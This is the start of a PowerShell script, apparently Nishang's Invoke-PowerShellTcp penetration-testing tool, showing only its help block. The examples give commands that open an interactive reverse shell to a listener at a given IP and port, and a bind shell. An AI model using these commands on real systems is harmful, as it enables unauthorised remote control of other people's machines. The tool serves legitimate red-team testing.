#Reverse powershell by Nikhil SamratAshok Mittal - https://github.com/samratashok/nishang
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
